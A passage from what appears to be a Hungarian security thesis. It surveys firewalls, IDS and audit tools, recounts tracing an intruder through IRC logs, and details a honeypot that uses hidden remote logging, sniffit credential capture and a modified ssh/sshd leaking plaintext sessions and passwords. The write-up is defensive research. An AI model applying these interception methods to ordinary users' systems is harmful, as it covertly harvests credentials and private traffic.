területen. 1.52 Firewall-ok A védelem másik, ma leggyakrabban megtalált módja a firewall (tűzfal) alkalmazása. A firewall korunk biztonsági buzzword -je, amit minden a témához értő vagy érteni akaró embere ismer. A firewall egy olyan számı́tógép vagy hálózati eszköz, amely kapcsolatot teremt egy védett és egy ”külső” számı́tógéphálózat között, és el is vágja a kettőt egymástól. Kapcsolatot teremt, mert átengedi a megfelelő, biztonságos forgalmat, és elvág, a nem biztonságos, szükségtelen, vagy gyanús forgalmat nem engedi át. Egyes firewall-oknak eltitkoló szerepe is van: A mögötte levő védett hálózatról kevés információt enged át (például nem adja ki az eredeti kérés IP cı́mét, az eredetileg kapcsolatot kezdeményező gép nevét, illetve eltitkolja például a kérést végző gép operációs rendszer verzióját. Ez egy

security-through-obscurity megoldás – az információ hiányával növeljük a biztonságot, illetve valóban elfedjük a forrásgépet, arra közvetlenül forgalom visszafele nem irányulhat.) A firewall-oknak két alapvető tı́pusa van, a packet filtering firewall, amely az egyes csomagok viszonylag buta szűrésével végzi a forgalom szabályozását, és az application level firewall. Ez utóbbi a külvilág fele látszó szolgáltatások mindegyikéhez egy-egy specifikus proxy programot tartalmaz, melyhez különkülön csatlakozik a belső és külső világ. (A később részletezett csapdaszámı́tógép megoldásunkban mi egy egyszerű, Linux alapú packet filtering firewall megoldást alkalmaztunk a biztonság növelése érdekében.) A firewall alkalmazása azért népszerű és egyszerű, mert a korlátos, internetről is hozzáférhető szolgáltatás védelme sokkal könnyebb, mintha az egész

rendszer összes programját védenénk. Problémákat jelent viszont, hogy a feltörések jelentős százaléka szervezeten belülről történik, hogy a firewall implementációja is lehet hibás, és akár véletlenül is átengedhetünk olyan adatokat amelyekkel a firewall megkerülhető. 1.53 IDS rendszerek Az Intrusion Detection System a behatolások érzékelését, analizálását és a megfelelő cselekvést támogatja. Segı́tségével a támadásokat nem megelőzni, hanem kontollálni tudjuk. Egyes IDS rendszerek csak az utólagos karbantartásban játszanak szerepet Ilyen például a tripwire, mellyel a fájlok integritását lehet ellenőrizni, tehát azt, hogy rosszindulatú támadó megbı́zható, eredetinek hitt fájljainkat nem módosı́totta. Más rendszerek komplex védelmet adnak és folyamatosan figyelik a hálózati forgalmat. A forgalom figyelése 16 ábra 1.4: Még viszonylag jó

védekezés mellett is a betörések nagy része detektálatlan marad. (CERT kimutatás) történhet egy számı́tógépen, a hálózatra helyezett ”lehallgató-IDS-sel” vagy például egy IDS-sel ellátott router (útvonalválasztó) segı́tségével. Az IDS rendszerek hatékonyan figyelmeztethetnek a legkülönbözőbb dolgokra: Érzékelhetnek portscant, amikor a támadó a szolgáltatások végigpróbálgatásával próbál információt szerezni, észrevehetnek betörési kı́sérleteket már felfedezett hibákkal szemben, vagy olyan felhasználói bejelentkezéseket, melyek nem szokásos helyről, vagy időpontban történnek (ilyenkor persze magas a téves pozitı́vok esélye). Az IDS rendszerek, főleg egy-egy rendszer több ezer dolláros volta ellenére nem tud megoldani egy sereg dolgot: Hatékonyan használható pl. a telnet protokollban zajló gyanús forgalom figyelésére, de a titkosı́tott

forgalmat nem tudja analizálni. Hatékony lehet egy kis hálózatban, de akár már egy 25%-ig kihasznált átlagos 100 Mbps sebességű hálózatnál sem biztos, hogy az összes érkező adatot a megfelelő sebességgel fel tudja dolgozni, ilyenkor csomagok veszhetnek el, és megnő a nemriasztások száma. 1.54 Audit rendszerek Hasznos eszköz a rendszergazdák kezében a különböző audit programok használata. Segı́tségükkel információ nyerhető a rendszer állapotáról, a potenciális hibaforrásokról A fent emlı́tett tripwire is tekinthető audit pro- 17 gramnak. Más audit programok régi, ismert betörési lehetőségekről tartalmaznak információkat (a régi itt relatı́v, egyes rendszereket naponta frissı́tenek), és ez alapján elemzik a rendszer állapotát. Azonban egyik audit rendszer sem tartalmazhatja az összes hiba információját és nem mutathatja ki a rendszergazda összes

tévedését. Hasonlóképpen ha nem futtatjuk le drága audit rendszerünket (hiszen még a programok pár perces frissı́tésére is ”lusták” vagyunk), akkor nem fogjuk jobban védeni rendszerünket. 1.55 Egyéb lehetőségek A fenti eszközökön túl rengeteg apró módszer és furmány lehetséges. A biztonság növelésének egyik leghatékonyabb módja a szokásostól eltérő, egyéni módszerek hatékony ötvözése az általánosan elfogadott módszerekkel. Miért? A betörő nem számı́t az adott védekezési módra. A legegyszerűbb módon félre lehet vezetni a betörőt, aki ı́gy legalábbis riasztást produkálhat, ı́gy könnyen kiderı́thető egy különben jól leplezett sikeres betörés is. (Ilyen módszer például egy nem létező vendég felhasználó létrehozása, amelyik csak riasztást generál, a betörőt viszont valamilyen hibaüzenettel megtéveszti.)

Rengeteg más intuitı́v módszer elképzelhető, és ezek hatékonysága azért nagy, mert a védelem nem algoritmizálható. Sosem ismerjük egy rendszer összes gépének hardware és szoftver állapotát, sosem ismerjük a programokban levő összes hibát, és ha ismernénk is a rendszer teljes állapotát, akkor sem állna módunkban mindezt kielemezni és megoldást találni algoritmikusan minden problémára. Ha pedig nincsen algoritmikus megoldás, akkor a biztonság nem maximalizálható, csak egyre jobb optimumokat tudunk elérni. Ebben pedig segı́tségünkre lehet bármely saját ötlet Fontos felhı́vni a figyelmet arra, hogy a biztonság igen nagy összegekbe kerülhet. Egy jobb IDS rendszer több ezer dollárba kerül, hasonlóképpen egy firewall-al, ami szintén tı́zezer dolláros nagyságrendű beruházást igényel. Ezen ősszegek mellett a magyar informatikus munkabére nem jelent akkora tételt,

hogy ne érne meg egy odafigyelő szakértő megfizetése. Itt nem csak a kifejezetten security consulting területen dolgozó emberekre gondolunk, hiszen tudásukat ők sem adják ingyen, de egy hozzáértő, nem túldolgoztatott rendszergazda, ha tényleg marad ideje, sokat segı́thet egy rendszer biztonságának növelésében. Ma Magyarországon az intuitı́v, kreatı́v módszerek csak igen gyéren, elszórva használatosak, hasonlóan: a firewall-on kı́vül a védekezés összes más módszere a gyakorlatban ismeretlen. Sajnos a legtöbb biztonságra törekvő rendszergazda a felhasználó nélküli rendszerben gondolja az egyedüli üdvözı́tő 18 megoldást. Ennek megváltoztatására pedig igen nagy szükség lesz a következő években Csapdaszámı́tógépes példánkkal is utolsó állı́tásainkat próbáljuk igazolni: A biztonság ,,házi” eszközökkel jelentősen növelhető. 19

Fejezet 2 A csapdaszámı́tógép Mit lehet tenni a biztonság megerősı́tése érdekében? Bármely szempontból közelı́tjük meg a biztonság kérdését, rendkı́vül sok lehetőségünk van a rendszer biztonságának megersı́tésére. A rengeteg lehetőség azért áll elő, mert – mint ezt már emlı́tettük – nincs egy teljes, 100%-os megoldás. Ha pedig nincsen teljes biztonság, akkor mindig ki lehet találni egy jobb, optimálisabb, esetleg alternatı́v módszert. ,,If you know yourself well, And know your enemy/competitor well, You will win the battle almost 100 percent.” – Sun Tzu, ,,The Art of War” A védekezés egyik fontos lépése az ellenség megismerése. Csak akkor tudunk megfelelően védekezni, ha tudjuk, hogy mitől kell védekezni. Fontos tehát a folyamatos adatgyűjtés, odafigyelés, stb., melynek egy részét már az IDS rendszereknél emlı́tettük. 2.1 Élő betörési

példa Mindezeket átgondolva jutottunk arra az elképzelésre, hogy vizsgálatainkat jó lenne élő szituációban vizsgálni. Számı́tógépes rendszerek fenntartása közben már találkoztunk valós betörési szituációval. 2.11 A betörő Egyik esetben egy igen elhanyagolt rendszerbe hatolt be a betörő. Mivel a betörő sem végzett gondos munkát látván azt, hogy a rendszerre nem fi20 gyelnek, ı́gy viszonylag sok pontos adatot hagyott magáról. Belépését több különböző dialup (modemes internethozzáférés) cı́mről követte el. Ezek a belépések a körülményeknek megfelelen visszanyomozhatóak lehetnek. Azonban semmit nem érhetünk ezekkel az adatokkal, ha az emlı́tett dialup-os belépési név és jelszó már a betörő korábbi tevékenysége alapján lopott volt. A másik probléma ilyen esetekben a szolgáltatók hozzáállása. Még pontos adatok megadása

esetén sem adnak szı́vesen információkat arról, hogy ki is lépett be az adott modemre a megadott idpontban. Jogi eljárás lefolytatása ilyen esetekben még körülményesebb lenne, hiszen ismeretlen tettes ellen lehetne csak feljelentést tenni, és a jog még nem érett meg hazánkban az ilyen perekre. Szerettük volna kiderı́teni azonban a ,,bűnöző” kilétét. Hogyan lehet azonban kiderı́teni valakinek a kilétét, ha lopott azonosı́tóval lép be egy feltört gépre valamilyen hamis néven? A dolog rendkı́vül egyszerű: A betörő is tévedhet, és esetleg maga azonosı́tja saját magát. Így is történt 2.12 Az IRC segı́tsége A mi általunk felhasznált eszköz a lenyomozásra az IRC nevű internetszolgáltatás volt. Ezen a szolgáltatáson a világból több tı́zezer ember tud a számı́tógépen keresztül – szöveges módban – egymással beszélgetni. Minden egyes

felhasználót, aki az IRC-re lép, három adat azonosı́t: • a beceneve, amit tetszlegesen megválaszthat; • a felhasználói azonosı́tója; • és a gép ahonnan belépett. Természetesen a felhasználó azonosı́tója azon a gépen, ahonnan belép nem biztos hogy valódi, hiszen ez például egy MS Windows alapú rendszeren ez a paraméter tetszlegesen beállı́tható. A gép is hamisı́tható, azaz inkább elfedésről beszélhetünk: alkalmazhatóak megfelel proxy-k arra a célra, hogy ne látszódjon, az illető valójából melyik gépről lép fel a hálózat különböző szolgáltatásaira. 2.13 Újabb adatok a betörőről! Az elfeltételezésünk, hipotézisünk a következő volt: a feltörő magyar lehetett, mert mindig magyar modemekről lépett föl, és a magyar ,,hacker-élet” 21 elég szorosan kötdik az IRC-hez. (Miként a hı́res Kevin Mitnick is gyakran volt

megtalálható IRC-n. [11]) Ezek alapján feltételeztük, hogy a betörést végző személy megtalálható volt valamikor a betörések időpontjaiban az IRC magyar kapcsolatú csatornáin. Az IRC kliens programok beállı́thatóak, hogy az egyes csatornára belépő személyeket és az elhangzott szövegeket naplózzák, rögzı́tsék. Elkezdtünk tehát a megadott időpontokban rákeresni a régebbi, még fellelhető naplófájljainkban azután, hogy a betörő esetleg belépett volna a megadott gépről az adott idpontban valamelyik ismert csatornára. Keresésünk körülményes volt, de hamar eredménnyel kecsegtetett: találtunk egy X felhasználót, aki fél órával az egyik betörés előtt lépett ki ugyanarról a modemről ahonnan később betörtek. Ezen a vonalok kezdtünk tovább nyomozni: ismerősöktől segı́tséget és utánanézést kérve sikerült információkat kapni. Több

,,majdnem” találat után sikerült egy kvázi bizonyı́tékot szereznünk: X felhasználó ugyanakkor volt jelen IRC-n, mint a feltört gépen Természetesen a téves-pozitı́v lehetsége továbbra is fennállt: • Az eredeti logok a belépésről lehettek hamisak is, ha valaki direkt ı́gy akarta. • Az időpontok pontosságára nincs adatunk, nem tudtuk biztosan, hogy melyik gép órája volt rendesen szinkronizálva. • Az IRC naplófájlok, amelyekből a következtetéseket levontuk, nem sajátok voltak, ı́gy lehettek hamisak, • X felhasználó modemre csatlakozó gépe Linux operációs rendszer alatt üzemelt. Egy igen ügyes hacker feltörhette az ő gépét is, majd csak és kizárólag, akkor és onnan lépett be a feltört gépre. 2.14 A csapda felállı́tása Nem sikerült tehát 100%-ig megnyugtatóan bizonyı́tani a feltörést, és ha tudnánk is bizonyı́tani, akkor sem lennének megfelelő

lehetségeink a továbbiakra. Mindenesetre miután mi kielégı́tő hibaaránnyal biztosnak vettük azt, hogy X törte fel a rendszert, megtudtuk X pontos adatait. Hogy még jobban csökkentsük a hiba lehetőségét, csapdát állı́tottunk. Az általa feltört Linux rendszerben riasztókat helyeztünk el, melyek E-mail, majd SMS útján (mobiltelefonon) riasztanak minket, ha a betör újra belép a rendszerbe. Azért, hogy fontos információk ne tűnhessenek el nyom nélkül, több szolgáltatás megfigyelése és a törlés parancs átı́rása után hagytuk ott a rendszert. Pár héten belül a betörő újra belépett a rendszerbe, majd ezután pár perccel mi is megkezdtük a megfigyelését, keresését. Gyanúnk tovább 22 növekedett X személyével kapcsolatban. A betörő észrevette, hogy már nem korlátlan ura a rendszernek, ı́gy hamarosan kilépett. X -et telefonon hı́vtuk fel ezután, és ott

nem tagadta a betörés tényét. A példa leglényegesebb eleme az, hogy noha a célszámı́tógépen semmilyen adat nem utalt egész pontosan a betörő személyazonosságára, mégis a meglévő adatok ütköztetésével sikerült kiderı́teni a betörést végző személy kilétét. Volt még egy fontos tanulsága a dolognak: a betörő további kiskaput hagyott a rendszerben Ezt saját maga leplezte le akkor, amikor újra a rendszerbe lépett. Ezért tehát hasznos volt hagyni, hogy még egyszer, immár kontrollált módon léphessen be, mert ı́gy fontos, általunk nem ismert adathoz is jutottunk betörésével kapcsolatban. 2.2 A csapdaszámı́tógép összeállı́tása A fenti példa kapcsán a következő ötlet fogalmazódott meg bennünk: Épı́teni kellene egy olyan számı́tógép-rendszert, ahol egy valós környezetben tudjuk megfigyelni számı́tógépes betörők tevékenységét.

Ez egyrészt izgalmas feladat: le lehet vele leplezni számı́tógépes bűnözőket. De ez csak az érem egyik oldala, a másik oldalon segı́t megerősı́teni a számı́tógéprendszerünk biztonságát. Csak a támadónk megismerésével készülhetünk fel igazán jól a támadásokra. Van továbbá még egy fontos szándék is ebben a munkában: ha sikerül követni egy betörő tevékenységét egy rendszeren, akkor nagy az esélye, hogy további rendszerekbe való betöréseire is információkat hagy hátra. Ezek lehetnek: • belépés egy másik, feltört rendszerbe; • fájlátvitel más rendszerekről, ahol már járt; • véletlen elı́rások, melyeket más gépekre akart beı́rni, csak eltévesztette az ablakot; • stb. Összességében tehát nemcsak pontosabban tudnánk követni a betörő mentalitását, és ismerni szoftver és módszertani eszközeit, hanem meg is tudnánk

vizsgálni, hogy az adott betörő milyen rendszereket tört még fel, ı́gy esetleg kiderülhetne olyan feltörés is, amelyre a feltört gép gazdái még nem jöttek rá, de nekünk már információink lennének róla. 23 2.21 A csapda konkrét felépı́tése A csapdaszámı́tógéptől a következő kritériumokat vártuk el: • Legyen egyszerű elkészı́teni, standard eszközökre épüljön. • Ne veszélyeztesse a meglévő számı́tógépes hálózat biztonságát, azaz magán a csapdaszámı́tógépen kı́vül más számı́tógépekre ne jelentsen veszélyt. • A betörő ne, vagy csak nehezen vegye észre, hogy betörése közben figyelik. • Minden lehetséges információt rögzı́tsünk a betörésről, de csak annyit, amennyit ki is tudunk értékelni. Legyen tehát struktúrált információ, de ha valami egész pontosan érdekesnek bizonyul, akkor részletes

információ is. • A rendszer legyen mobilis, könnyen kezelhető és átalakı́tható. Az általunk felépı́tett rendszer a következőket tartalmazza: A rendszert a Debian GNU Linux disztribúció ,,slink”, 2.1-es verziójából hoztuk létre, mely 1999. márciusában jelent meg A rendszert egy viszonylag egyszerű és olcsón beszerezhető számı́tógépre telepı́tettük (Intel Celeron 366MHz, 64 Mbyte RAM, 6.4 GB HDD, ) Mivel bárki, aki a csapda-gépet feltöri, a gép hálózati csatolóján átmenő bármely adathoz hozzáférhet (sniffelheti). Így igen fontos, hogy a gép vagy egy switchelt hálózati szakaszon legyen, vagy – mint a mi megoldásunkban – a gépet egy másik gépen át tettük elérhetővé. (21 ábra) A másik (,,firewall”) gépben két hálózati csatoló volt, ennek egyik kártyája a külvilág irányában aktı́v hálózati csatoló volt, a másikra

keresztbenkötött UTP kábel segı́tségével csatlakoztattuk a csapdaszámı́tógépet. Ezzel a megoldással azt értük el, hogy a csapdaszámı́tógép hálózati csatolóján a labor további forgalma nem megy át. Így – ha a laborból senki nem használja az csapdagépet más célra – az ottani lehallgatás nem okoz biztonsági problémát a többi számı́tógépre nézve. Ezt könnyı́tendő a másik, úgymond ,,firewall” szerepet eljátszó számı́tógépen (szintén Linux-os gép) úgy installáltuk az IP forwardingot1 hogy csak a külső forgalom kerülhet a csapdaszámı́tógépre. Így a labor más gépeiről a csapdaszámı́tógép közvetlenül elérhetetlen és viszont. Ha a labor gépei és a csapdaszámı́tógép között adatmozgatásra van szükség, akkor ezt a ,,firewall” gépbe való bejelentkezéssel lehet csak megtenni. 1 IP csomagok szűrt továbbı́tása

transzparens módon. (Itt különböző csatolók között) 24 IP szûrõ ROUTER 10Mbps HUB 10/100 100Mbps SWITCH HUB INTERNET Csapda Veszélyes zóna Veszélyes zóna ábra 2.1: A labor felépı́tése, a csapda számı́tógép környezete A csapdaszámı́tógép felől a ,,firewall” gép összes nem szükséges szolgáltatását, IP portját letiltottuk, a linux rendszerbe (2.2-es kernel) beépı́tett ipchains technika segı́tségével. Ezzel nehezebbé tettük azt, hogy a csapdaszámı́tógépre betörő illető esetleg a labor más gépeire átlépve oda is betörjön. 2.22 Naplózás beállı́tása Miután a csapdaszámı́tógép ily módon fogadni és továbbı́tani tudja az adatokat, a következő lépés a naplózás, az információ tárolás pontos feltételeinek megteremtése volt. A Linux rendszer alapkiépı́tésében is tárol információkat arról, hogy mi történt a

rendszerrel. Ezt vagy egyes specifikus alkalmazások külön végzik (FTP-daemon transferlog, Apache web-szerver naplófájljai) vagy a központi syslogd nevezetű daemon2 -on keresztül történik az adatok mentése. A syslogd pontos információkat kap minden belépésről, az egyes szolgáltatások üzeneteiről. Ezeket az üzeneteket ún Syslog facility-k szerint csoportosı́tva kapja, amelyeken belül további csoportosı́tás is lehetséges. Azt, hogy melyik naplófájlba pontosan mit kell elmenteni, a syslogd egy konfigurációs fájlból olvassa ki. Elképzelhető az is, hogy egy-egy üzenet több helyre is elmentésre kerül, de az is elfordulhat, hogy sehova sem. 2 kiszolgáló-felügyelő program 25 A naplóbejegyzések mentésére nem lenne célszerű a majdan feltörésre kerülő csapdaszámı́tógépet használni, mivel az azon levő fájlokhoz egy feltörés után bárki hozzáférhet és

visszamenőleg törölheti a bejegyzéseket. Ha minden egyes naplóüzenetet átküldünk egy másik gépre , akkor ezzel megakadályozhatjuk, hogy a betörő legalább visszamenőleg ne tűntethesse el a bejegyzéseket. Ha pedig az üzeneteket sorfolytonosan ı́rjuk le, akkor a múlt már megváltoztathatatlan marad. naplóüzenet syslogd esemény Csapda ábra 2.2: Távoli naplózás A syslog daemon támogatja a távoli logolást. Ebben az esetben a konfigurációs fájlban megadott számı́tógépre küldi tovább a megadott üzeneteket A célszámı́tógépen természetesen úgy kell futtatni a syslog daemont, hogy az a külső üzeneteket fogadja. (22 ábra) (Ezt a -r kapcsolóval futtatva tehetjük meg.) A problémát az okozza, hogy a távoli logolás authentikálatlanul történik, azaz ha megnyitjuk ezt a lehetséget, akkor elvileg bárki a világból teleszemetelheti gépünket hamis üzenetekkel. Mi a

következő megoldást választottuk: • A syslogd minden üzenetet továbbküld az 5.432 IP cı́mű gép felé; • A ,,firewall”-nak nevezett számı́tógépen (ami közvetlenül csatlakozik a csapdaszámı́tógépre) letiltottuk a syslog portját, nehogy véletlenül teleszemetelje egy támadó; • Az 5.432 IP cı́mű gép syslog portjára irányuló forgalmat a ,,firewall” számı́tógépen átirányı́tottuk annak lokális syslog portjára. • A ,,firewall” számı́tógépen 2 db. syslog daemon fut, az egyik a lokális üzenetek feldolgozására, a másik külön konfigurációs fájlt és tárolási alkönyvtárt használva a távoli logok gyűjtését végzi. Ennek eredményeképpen minden üzenet, ami kijut a csapdaszámı́tógépről, megfelelően rögzı́tődik a ,,firewall” számı́tógépen, ugyanakkor a betörő bármilyen 26 lehallgatás esetén sem tudhatja biztosan,

hogy hova kerültek a logok, ı́gy nem valószı́nű, hogy azok megsemmisı́tésére fog törekedni, magyarul a ,,firewall” számı́tógépet nem veszi célba. Egy további gond maradt nyitott: a távoli logolás tényét a betörő hamar észreveheti. Erre két lehetősége is lehet: az egyik a hálózati forgalom lehallgatása, a másik a syslog konfigurációs fájljának egyszerű megtekintése. Mindkettőre van megoldás: A syslog daemon forrásprogramjának módosı́tásával az újrafordı́tás után már nem a szokásos helyről veszi a konfigurációs információkat, hanem egy másik fájlból. Ekkor a betörő nyugodtan hiheti, hogy az eredeti helyen levő konfigurációs fájl tartalmazza az igazi bejegyzéseket. Az egyedüli gond az lehet, ha ezt a fájlt editálni kezdi, és ezután nem látja a logolás megváltozását Ezért a legcélszerűbb az eredeti fájl felhasználása, és ehhez

egy további kiegészı́tő fájl használata. A másik probléma, a lehallgatás nehezen védhető. Egyik megoldásunk lehetne, hogy nem a hálózaton keresztül küldjük át a naplóbejegyzéseket, hanem például a számı́tógép párhuzamos portján át (nyomtatóra vagy ily módon csatlakoztatott másik gépre). Ez azonban körülményes és sokkal jobb nem lesz tőle a rendszer. Egy másik megoldás, ha titkosı́tva küldjük át az adatokat a hálózaton. A betörő ez esetben is sejtheti – főleg ha megkeresi a ,,jelek” forrását –, hogy logolásról van szó, de ennek ellenére a folyamatot biztonságosabbá teheti. 2.23 A távoli naplózás új módszerei További gond, ha a betörő felfedezi a távoli naplózást, akkor elronthatja, meghamisı́thatja az átküldött bejegyzések tartalmát. A távoli gépen nem lehet tudni pontosan, hogy mikor kezdte el a logokat a

csapdaszámı́tógépen működő betörő meghamisı́tani. Ez azonban áthidalható. A utóbbi hetekben (1999 október) alakult az, IETF-en (Internet Engineering Task Force) belül egy bizottság, amelyik a syslog megersı́tésével, biztonságosabbá és jobban kezelhetővé tételéért tevékenykedik A bizottság működése mögött több, már kifejlesztett azonban nem elterjedt, nem széleskörben ismert megoldás húzódik meg. Egy egyszerű eljárást mutat be a biztonságosabb naplófájl-kezelés megoldására Kargieman ésFutoransky a ,,PEO-1 protokoll” segı́tségével. [16] A módszer egyszerű hashfüggvényen3 alapul, ahol szekvenciálisan, az előző üzenettől is függ a következő tartalma. Ezzel ugyan még nem oldják meg a 3 Hashfüggvény: olyan egyirányú függvény, ami egy nagyobb méretű adathalmazról egy kisebb méretű adathalmazra képez le; hashfüggvénnyel

leképzett ,,lenyomatot” használnak például digitális aláı́rás bemeneteként 27 problémát 100%-ig, mert egy betörő a csapdaszámı́tógép memóriájához is korlátlanul hozzáférhet, és ı́gy gyakorlatilag minden adat a rendelkezésére állhat. Azonban a célnak megfelel: nem lehetetlenné, csak problémássá, igen körülményessé teszi a támadást. (A protokollt alkalmazó syslog megoldás rendelkezésre áll, most nem használjuk, de a közeljövőben beépı́tjük a rendszerünkbe.) [17] Megoldottuk tehát, hogy a rendszerüzenetek megfelelően mentésre kerüljenek, azonban ez még igencsak kevés a betörő cselekedeteinek követésére. 2.24 A forgalom figyelése Az, hogy a csapdaszámı́tógépet a ,,firewall”-on keresztül tettük elérhetővé, újabb lehetséget hordoz magában: Minden forgalmat, ami a csapdaszámı́tógép felé megy vagy jön attól,

megfigyelhetünk a köztes ,,firewall”-on is. A megfigyelésre természetesen használhatunk nagy IDS rendszereket is, ezek azonban többnyire pénzbe kerülnek és ideiglenes, kipróbálásra szánt ingyenes verzióik megszerzése sem egyszerű. Bár a legtöbb IDS rendszer jelezné nekünk a betörés tényét, ugyanakkor a betörő megfigyelésére már nem annyira alkalmas. Alkalmatlan továbbá a kódolt adatfolyamok megfigyelésére, ilyen például az SSH, a titkosı́tott shell közismert protokollja. 2.25 Sniffit Mi tehát egyszerűbb lépést választottunk: A csapdaszámı́tógép irányában zajló forgalomból bizonyos szolgáltatások adatait a sniffit nevű programmal rögzı́tjük egy megfelelő alkönyvtárba. Ez a program a ,,firewall” Ethernet kártyáját az ún. ,,promiscuous” módba kapcsolja. Így minden Ethernet-csomag feldolgozásra kerül, nem csak azok, amelyek célpontja az adott

számı́tógép. A sniffit a TCP kapcsolatokon átmenő adatokat fájlokba menti, melyek nevei tartalmazzák az adott kapcsolatban résztvevő két IP cı́met és a portcı́meket. Ezzel a megoldással (ha a sniffit bı́rja a hálózati forgalmat és nem hagy ki csomagokat), logolni tudjuk a csapdaszámı́tógépre tartó TELNET adatfolyamokat, az FTP kapcsolatokon átment parancsokat, az átmenő leveleket, WWW kéréseket, és pár egyéb dolgot. Sajnos továbbra sem lesz ezzel használható logunk az SSH protokollról, sem bármely SSL-t használó szolgáltatásról. A sniffit-et be tudtuk még állı́tani úgy is, hogy az egyes szolgáltatásokról összesı́tő táblázatot is készı́tsen, azaz egy külön fájlba menti például a TELNET kapcsolatokon átment név/jelszó azonosı́tópárokat. A legfontosabb lépése a betörő megfigyelésének a shell parancsok követése. Ez a TELNET kapcsolat

lehallgatásával már megvalósult, azonban ma már a 28 dekódolt adatdfolyam kódolt adatfolyam kódolt adatfolyam Csapda tárolás szûrés ábra 2.3: Titkosı́tatlan adatfolyam kiszivárogtatása TELNET protokoll helyett majdnem mindenki az SSH szolgáltatást használja. Ez pedig kódolt TCP/IP forgalmat eredményez. 2.26 Az SSH naplózása Mit lehet tenni annak érdekében, hogy az ssh-n átmenő forgalmat is meg tudjuk figyelni? Az SSH többfajta titkosı́tási és authentikációs eljárást tartalmaz. ó Authentikálásnál kétféle módszert váláaszthatunk: azonosı́tás nyilvános kulcsú rejtjelezés segı́tségével, illetve hagyományos jelszó alapú azonosı́tás. A betörő ezen eljárások közül egyszerűsége miatt a igen nagy valószı́nűséggel jelszavas azonosı́tást fogja használni. Lehetséges megoldás tehát úgy átı́rni az SSH protokollt, hogy a ,,firewall”-on

kitalálható legyen a kapcsolat alatt használt összes kulcs, ehhez az adott számı́tógép (a mi feladatunkban a csapda-gép) nyilvános és titkos RSA kulcsát is át kell vinni a ,,firewall”ra. Ezután az egész kapcsolat alatt fennálló titkos adatfolyamot vissza kell kódolni a korábban megfigyelt, kulccsere során létrejövő kapcsolat-kulccsal. Ez egy járható út, ám igen-igen bonyolult, nem teljesı́tené a specifikációban elvárt egyszerűséget. Milyen megoldások jöhetnek még szóba? Egy kódolt üzenet-sorozat feltörése igen nehéz lehet, azonban a probléma gyakorta megkerülhető. Az egyik szóbajöhető megoldás a csapdaszámı́tógépen van. Az SSH és a TELNET is egy shell t fog futtatni, melynek kódját módosı́thatjuk úgy, hogy minden rajta átmenő adatot lássunk. Találhatunk is már megı́rt programcsomagot ilyen célokra, például ttysnoop. A dolog csak azért

problémás, mert ezeket az adatokat mi szeretnénk biztonságosan elmenteni, például a 29 ,,firewall” gépre. Ekkor pedig a lehallgatott adatokat a syslogd-nek kellene küldenünk, ám több új probléma merül fel: A syslogd naplóbejegyzések feldolgozásánál és a mentésnél is pontosan kell követni, melyik üzenet melyik bejelentkezéshez, melyik éppen futó shell -hez tartozik. A vezérlő-karakterek átvitele is problémákat jelent. Ennél az útnál találtunk egy sokkal egyszerűbben megvalósı́tható eljárást: A módszer az ssh és az sshd programok, azaz az SSH kliens és SSH szerver átı́rása volt. Mindkét programot forráskódjában úgy módosı́tottuk, hogy azok egy-egy kapcsolatnál ne csak a megszokott titkos kapcsolatot, hanem kapcsolatonként két, nemtitkos kapcsolatot is nyissanak meg. A nemtitkos kapcsolatot az általunk átı́rt ssh a ,,firewall” számı́tógép felé

nyitotta. Az egyik kapcsolaton a fogadott, a másik kapcsolaton a küldött információt lehet megfigyelni nem titkosı́tott formában. (Ha nem akarjuk, hogy a betörő lehallgatás esetén rájöjjön, hogy mi is lehallgatjuk őt, akkor egy egyszerűbb titkosı́tással, akár a PEO-1-gyel ezt a nemtitkos kapcsolatot is védhetjük, titkosı́thatjuk.) A nemtitkos kapcsolaton átment adatok elmentéséről a ,,firewall”-on az általunk megı́rt rövid perl programok gondoskodnak. A nemtitkos kapcsolat első sorában az ssh vagy sshd közli a perl script-ekkel a célszámı́tógép, vagy a daemon esetén a forrásszámı́tógép cı́mét. Ez alapján a perl script a megfelelő alkönyvtárban egy megfelelő névvel azonosı́tott fájlba menti az összes adatot. Az sshd az authentikáció során megkapott jelszót és felhasználói azonosı́tót is továbbı́tja a nemtitkos kapcsolat irányába, mivel az különben

nem lehetne megfigyelhető. Az ssh programot természetesen csak binárisan raktuk fel a csapdaszámı́tógépre, és mint sejthetjük, nem sok betörő fogja leellenőrizni, hogy a rendszerben levő bináris fájlok az adott szituációban hitelesek-e, avagy sem. Így legalább az első lehallgatásig minden bizonnyal titkos tud maradni tevékenységünk. Az ssh programok átı́rásával mód van a betörő további megfigyelésére is: Feltételezhetjük, hogy a betörő (azért, hogy magát elrejtse, vagy egyéb okból, esetleg véletlenül is) a feltört csapdaszámı́tógépről fog újabb számı́tógépekre továbbmenni. Mi ezeket is pontosan meg tudjuk figyelni A dolog voltaképpen egy rejtett biztonsági probléma: Az SSH protokoll mindig csak a legközelebbi szerverig titkosı́t, ha onnan újra továbbmegyünk, akkor a már kititkosı́tott adatfolyam kerül újra kódolásra (2.4 ábra) Ha ilyen esetben a

középen elhelyezkedő szerver csak buta ismétlő lenne, és a távoli szerverhez menő adatokat csak simán megismételné, a kliens pedig közvetlen a távoli szervertől szerezne kulcsot a kódoláshoz, akkor a rendszer biztonságos tudna maradni. Természetesen módot adna man-in-the-middle 30 1. gép shell kódolás (K1 kulccsal) 2. gép titkos üzenet dekódolás (K1 kulccsal) shell 3. gép shell dekódolás (K2 kulccsal) titkos üzenet kódolás (K2 kulccsal) ábra 2.4: Az SSH működési módja több gépen keresztül tı́pusú támadásra, de ez ellen az SSH eleve védekezik a szerver RSA alapú azonosı́tásával. Nagyon érdemes átgondolni tehát, hogy noha az SSH-ban jobban megbı́ztunk mint egy titkosı́tatlan adatfolyamban, ennek ellenére ugyanúgy le lehetett hallgatni, persze csak az egyik oldal aktı́v közremködésével. A hamis biztonságérzet viszont szabadságot adhat a meggondolatlan ember

